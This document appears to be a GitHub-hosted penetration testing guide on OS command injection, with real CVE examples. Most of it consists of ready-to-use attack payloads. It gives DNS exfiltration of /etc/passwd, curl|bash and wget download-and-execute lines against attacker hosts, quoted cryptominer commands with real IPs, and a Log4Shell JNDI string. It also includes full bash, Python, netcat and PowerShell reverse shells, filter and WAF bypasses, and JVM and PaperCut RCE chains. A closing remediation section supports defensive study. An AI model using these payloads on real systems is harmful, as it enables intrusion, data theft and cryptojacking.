Skip to content

Injection Exploitation.md

Latest commit

 

History

History
620 lines (454 loc) · 18.4 KB

Injection Exploitation.md

File metadata and controls

620 lines (454 loc) · 18.4 KB
Raw

Complete Command Injection Exploitation Methodology

Table of Contents

  1. Understanding Command Injection
  2. Testing Methodology
  3. Manual Exploitation Techniques
  4. Real-World Application Examples
  5. Tools and Automation
  6. Advanced Exploitation Techniques
  7. Reporting and Remediation

Understanding Command Injection

Command injection is a vulnerability that occurs when an application passes unsafe user-supplied data (forms, cookies, HTTP headers) to a system shell. This allows an attacker to execute arbitrary operating system commands on the server hosting the application .

How Command Injection Works

When a web application takes user input and passes it directly to a system command without proper sanitization, command injection becomes possible. For example, a ping utility on a website might take an IP address from a user and execute:

ping -c 4 192.168.1.1

If the application does not validate the input, an attacker could inject:

192.168.1.1; whoami

Resulting in the server executing:

ping -c 4 192.168.1.1; whoami

Testing Methodology

Step 1: Identifying Injection Points

First, identify all parameters that might be passed to system commands. Common vulnerable parameters include:

cmd, exec, command, execute, ping, query, jump, code, reg, do, func, arg, option, load, process, step, read, function, req, feature, exe, module, payload, run, print, download, path, folder, file, host, proxy, server, destination, address, ip, hostname, port, url, uri

Step 2: Manual Testing with Burp Suite

According to PortSwigger's official methodology, you can use Burp Suite to test for OS command injection vulnerabilities :

Procedure:

  1. In Proxy > HTTP history, right-click the request you want to investigate and select "Send to Repeater"
  2. Go to the Repeater tab
  3. Change the parameter you want to test to an OS command injection proof-of-concept attack. For example: 1|whoami
  4. Review the response to determine whether the command has been executed
  5. If necessary, modify the command and resend the request
  6. Repeat for each parameter in the request

Step 3: Testing Payloads

Use these payloads to test for command injection:

Basic Detection:

&
;
%0a (newline)
&&
|
||
`command`
$(command)

Example Test Requests:

https://target.com/page?param=1|whoami
https://target.com/page?param=1;whoami
https://target.com/page?param=1%0awhoami
https://target.com/page?param=1&&whoami

Step 4: Blind Command Injection Testing

When commands don't return output directly, use time-based or out-of-band detection .

Time-Based Detection:

https://target.com/page?param=x||ping+-c+10+127.0.0.1||
https://target.com/page?param=x;sleep+10
https://target.com/page?param=x%26%26timeout+10

Out-of-Band (OOB) Detection with Burp Collaborator:

Burp Collaborator helps detect blind command injection vulnerabilities by triggering external network interactions .

Steps:

  1. In Proxy > HTTP history, identify a request to investigate
  2. Right-click and select "Send to Repeater"
  3. Change a parameter's value to a payload using nslookup with a Collaborator subdomain
  4. Right-click and select "Insert Collaborator payload" to generate a unique domain
  5. Click Send
  6. Go to the Collaborator tab and click "Poll now" - any interactions confirm successful injection

Example Payload:

8.8.8.8;nslookup xyz123.burpcollaborator.net

If a DNS lookup occurs, the Collaborator will capture it, confirming the vulnerability .

Step 5: Data Exfiltration via DNS

Once blind injection is confirmed, exfiltrate data by appending system information to the DNS lookup :

8.8.8.8;nslookup $(hostname).xyz123.burpcollaborator.net
8.8.8.8;nslookup $(whoami).xyz123.burpcollaborator.net
8.8.8.8;nslookup $(cat /etc/passwd | head -n1 | base64).xyz123.burpcollaborator.net

Real-World Application Examples

Example 1: PHPUnit Command Injection (CVE-2017-9841)

This critical vulnerability affects PHPUnit versions ≤ 5.6.2 and remains actively exploited today, accounting for 24% of observed attacks according to Cato CTRL threat research (November 2024 - February 2025) .

Affected Component: eval-stdin.php in PHPUnit's testing framework

Why It Works: Applications include PHPUnit as a development dependency but mistakenly expose it in production environments .

Attack Vector:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

<?php system('curl http://attacker.com/shell.sh|bash'); ?>

Observed Exploitation: Attackers use this flaw to deploy cryptojacking malware (Kinsing and XMRig). One observed attacker used:

eval -i 1 — c2hlbGxfZXhlYygnY3VybCBodHRwOi8vMTk0LjM4LjIwLjIvZXguc2h8c2gnKTs=

When decoded: shell_exec('curl http://194.38.20.2/ex.sh|sh');

Example 2: Apache HTTP Server Path Traversal & RCE (CVE-2021-41773)

This vulnerability affects Apache HTTP Server 2.4.49 and allows remote code execution when CGI scripts are enabled .

Percentage of attacks: 17% of observed exploitation attempts

Attack Payload:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: target.com

Cryptojacking Exploitation:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: target.com

echo; curl -s http://94.156.177.109/xmrig.sh | bash

This command downloads XMRig cryptocurrency miner to hijack system resources .

Example 3: Apache Log4j (Log4Shell - CVE-2021-44228)

This critical RCE vulnerability affects Log4j versions 2.0-beta9 to 2.14.1. Attackers inject malicious JNDI lookups into any data that gets logged .

Attack Vector:

${jndi:ldap://attacker.com/exploit}

Observed Exploitation for Cryptojacking:

${jndi:ldap://45.155.205.233:1389/0t7u5}

When decoded, this executes:

curl -s http://45.155.205.233/ln.sh | bash

This script downloads XMRig with a specific Monero wallet address for mining cryptocurrency .

Example 4: DVWA Command Injection (Learning Environment)

The Damn Vulnerable Web Application (DVWA) demonstrates command injection vulnerabilities at different security levels .

Low Security (No filtering):

$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);

Exploitation:

192.168.1.1; whoami
192.168.1.1 && id
192.168.1.1 | cat /etc/passwd

Medium Security (Partial blacklist):

$substitutions = array('&&' => '', ';' => '');
$target = str_replace(array_keys($substitutions), $substitutions, $target);

Bypass: Use &, |, or || instead of && or ;

192.168.1.1 & ipconfig
192.168.1.1 | whoami

High Security (Attempted comprehensive filtering but with a mistake):

$substitutions = array(
    '&' => '', ';' => '', '| ' => '',  // Note the space after |
    '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => ''
);

Bypass: Use | without a space after it

192.168.1.1 |whoami

Example 5: Beward N100 IP Camera (CVE-2025-34042)

This recent vulnerability (published June 2025) affects the Beward N100 IP Camera firmware version M2.1.6.04C014 .

Affected Parameters: ServerName and TimeZone in the servetest CGI page

Impact: Authenticated command injection leading to remote code execution with root privileges

Attack Example:

POST /cgi-bin/servetest.cgi HTTP/1.1
Host: target-ip
Authorization: Basic [credentials]

ServerName=127.0.0.1; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor

Example 6: Synology Photos (Pwn2Own Ireland 2024)

A command injection vulnerability in Synology Photos ≤ 1.7.0-0794 was exploitable via a WebSocket event .

Root Cause: Node.js child_process.exec() spawns a shell (/bin/sh -c), so any shell metacharacters in user input result in command injection.

Vulnerable Code Pattern:

const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, callback);

Safe Alternative:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', ['--id_user', id_user, '--payload', JSON.stringify(payload)]);

Tools and Automation

Commix (Command Injection Exploiter)

Commix is an automated tool for detecting and exploiting command injection vulnerabilities, similar to SQLmap for SQL injection .

Installation:

# Clone from GitHub
git clone https://github.com/commixproject/commix.git
cd commix
chmod +x commix.py

# Alternative installation via pip
pip install commix

Basic Usage:

# Test a URL parameter
python3 commix.py --url="http://example.com/index.php?id=1"

# Test POST parameters
python3 commix.py --url="http://example.com/login" --data="username=admin&password=1234"

# Test HTTP headers
python3 commix.py --url="http://example.com" --headers="User-Agent: test"

# Blind command injection testing
python3 commix.py --url="http://example.com" --blind

Advanced Features:

# WAF bypass with tamper scripts
python3 commix.py --url="http://example.com" --tamper="random_case,double_urlencode"

# Custom payload
python3 commix.py --url="http://example.com" --payload="; cat /etc/passwd"

# Proxy support
python3 commix.py --url="http://example.com" --proxy="http://127.0.0.1:8080"

Commix supports GET, POST, headers, cookies, and JSON payloads, making it versatile for different testing scenarios .

Burp Suite Professional

Burp Suite Professional includes automated scanning for command injection vulnerabilities :

Automated Scanning:

  1. Identify a request in Proxy > HTTP history
  2. Right-click and select "Do active scan"
  3. Review the Issues tab on the Dashboard for flagged issues

Manual Testing with Repeater:

  1. Send requests to Repeater
  2. Modify parameters with injection payloads
  3. Analyze responses for command execution evidence

Blind Injection with Collaborator:

  1. Open Collaborator tab and copy a payload domain
  2. Inject nslookup [collaborator-domain] into parameters
  3. Poll Collaborator for DNS interactions

Other Tools

Nikto: Web server scanner that can identify command injection vulnerabilities

Nuclei: Template-based scanner with command injection detection templates

Custom Scripts: Python scripts using requests library for automated injection testing

Advanced Exploitation Techniques

Context Escaping

Depending on where your input is injected, you may need to terminate the quoted context first :

Inside single quotes:

vuln_param='; id; echo '

Inside double quotes:

vuln_param="; id; echo "

Inside backticks:

vuln_param='`; id; `'

Argument/Option Injection

Not all injections require shell metacharacters. If untrusted strings are passed as arguments to system utilities, programs parse - and -- arguments as options :

Ping option injection:

-f        # flood ping (DoS)
-c 100000 # large count

Curl option injection:

-o /tmp/x           # write output to file
-K http://attacker.com/config  # load attacker config

Tcpdump option injection:

-G 1 -W 1 -z /path/script.sh   # post-rotate execution

Filter Bypasses

Linux Bypasses:

# Alternative command execution
cat /etc/passwd
cat /e"t"c/pa"s"swd
cat /'e'tc/pa's'swd
cat /etc/pa??wd
cat /etc/pa*wd
{cat,/etc/passwd}
cat /???/?????d
c'a't /etc/passwd
c\a\t /etc/passwd
$(echo cat | tr 'a-z' 'a-z') /etc/passwd

# IFS (Internal Field Separator) bypass
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

Windows Bypasses:

# Alternative character expansion
powershell C:**2\n??e*d.*?
@^p^o^w^e^r^shell c:**32\c*?c.e?e

Time-Based Data Exfiltration

Extract data character by character using timing attacks :

# Check if first character of username is 's'
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
# Takes 5 seconds = first character is 's'

time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
# No delay = first character is not 'a'

Reverse Shells

Linux Reverse Shell:

# Netcat reverse shell
vuln=127.0.0.1%0anohup nc -e /bin/bash attacker-ip 4444

# Bash reverse shell
vuln=127.0.0.1; bash -i >& /dev/tcp/attacker-ip/4444 0>&1

# Python reverse shell
vuln=127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Windows Reverse Shell:

# PowerShell reverse shell
vuln=127.0.0.1; powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

WAF Bypass Payloads

Multi-stage encoded payloads:

# Base64 encoded payload execution
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

# Chained download and execution
vuln=127.0.0.1 %0a wget https://evil.com/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php

# DNS exfiltration with subdomain
vuln=127.0.0.1; nslookup `whoami`.attacker.com

JVM Diagnostic Callbacks for RCE

Any primitive that lets you inject JVM command-line arguments can be turned into reliable RCE. These diagnostics are parsed by the JVM itself, so no shell metacharacters are required :

# Force crash + run OS command on OOM
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -EncodedCommand <blob>"

# Linux version
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl https://attacker/p.sh | sh'"

PaperCut NG/MF Print Scripting RCE

This exploitation chain combines authentication bypass with command injection :

Steps:

  1. Browse to /app?service=page/SetupCompleted and click Login (authentication bypass)
  2. Navigate to Options → Config Editor
  3. Set print-and-device.script.enabled=Y and print.script.sandboxed=N
  4. In printer Scripting tab, place payload outside the function:
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker.com/hit"];
java.lang.Runtime.getRuntime().exec(cmd);

Reporting and Remediation

Finding Report Template

Vulnerability Title: OS Command Injection

Description: The application fails to sanitize user input passed to system commands, allowing arbitrary command execution.

Affected Parameter: [parameter name]

Proof of Concept:

Request:
GET /page?param=1|whoami HTTP/1.1
Host: target.com

Response showing command output:
[output of whoami command]

Impact: An attacker can execute arbitrary operating system commands, potentially leading to:

  • Full system compromise
  • Data theft or destruction
  • Lateral movement within the network
  • Cryptocurrency mining (as observed in recent attacks)

CVSS Score: Critical (9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Remediation Guidance

Immediate Fixes:

  1. Never call system shell commands from application code when possible
  2. Use built-in language functions instead of shell commands
  3. Implement strict input validation using allowlists (not denylists)
  4. Escape user input using language-specific functions:
    • PHP: escapeshellarg() and escapeshellcmd()
    • Python: shlex.quote()
    • Java: Use ProcessBuilder with separate arguments

Code Examples:

PHP (Vulnerable):

$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);  // CRITICAL VULNERABILITY

PHP (Fixed):

$target = $_REQUEST['ip'];
if (filter_var($target, FILTER_VALIDATE_IP)) {
    $cmd = shell_exec('ping -c 4 ' . escapeshellarg($target));  // Safe
} else {
    // Reject invalid input
}

Python (Vulnerable):

import os
os.system("ping " + user_input)  # CRITICAL VULNERABILITY

Python (Fixed):

import subprocess
subprocess.run(["ping", user_input])  # Safe with list argument

Java (Vulnerable):

Runtime.getRuntime().exec("ping " + userInput);  // CRITICAL VULNERABILITY

Java (Fixed):

new ProcessBuilder("ping", userInput).start();  // Safe with separate arguments

Node.js (Vulnerable):

const { exec } = require('child_process');
exec('ping ' + userInput);  // CRITICAL VULNERABILITY - spawns shell

Node.js (Fixed):

const { execFile } = require('child_process');
execFile('ping', [userInput]);  // Safe - no shell involved

Long-term Recommendations:

  1. Disable dangerous PHP functions in php.ini: exec, shell_exec, system, passthru, popen
  2. Run web applications with least privilege (not as root)
  3. Use chroot jails or containers
  4. Implement Web Application Firewall (WAF) rules
  5. Regular security testing and code reviews
  6. Keep all software and dependencies updated
  7. Remove development dependencies from production environments (like PHPUnit test files)

Related Topics

References

  1. PortSwigger. "Testing for OS command injection vulnerabilities." Burp Suite Documentation, 2026.
  2. Cato Networks. "Cato CTRL Threat Research: Stuck in the Past - How Hackers Exploit Years-Old CVEs for Cryptojacking." March 2025.
  3. Commix Project. "Automated All-in-One OS Command Injection Exploitation Tool." GitHub.
  4. PortSwigger. "Testing for asynchronous OS command injection vulnerabilities with Burp Suite." 2026.
  5. Tevora. "Blind Command Injection Testing with Burp Collaborator."
  6. HackTricks. "Command Injection." 2026.
  7. CIRCL. "GHSA-8749-75MJ-7339 - Beward N100 Command Injection." June 2025.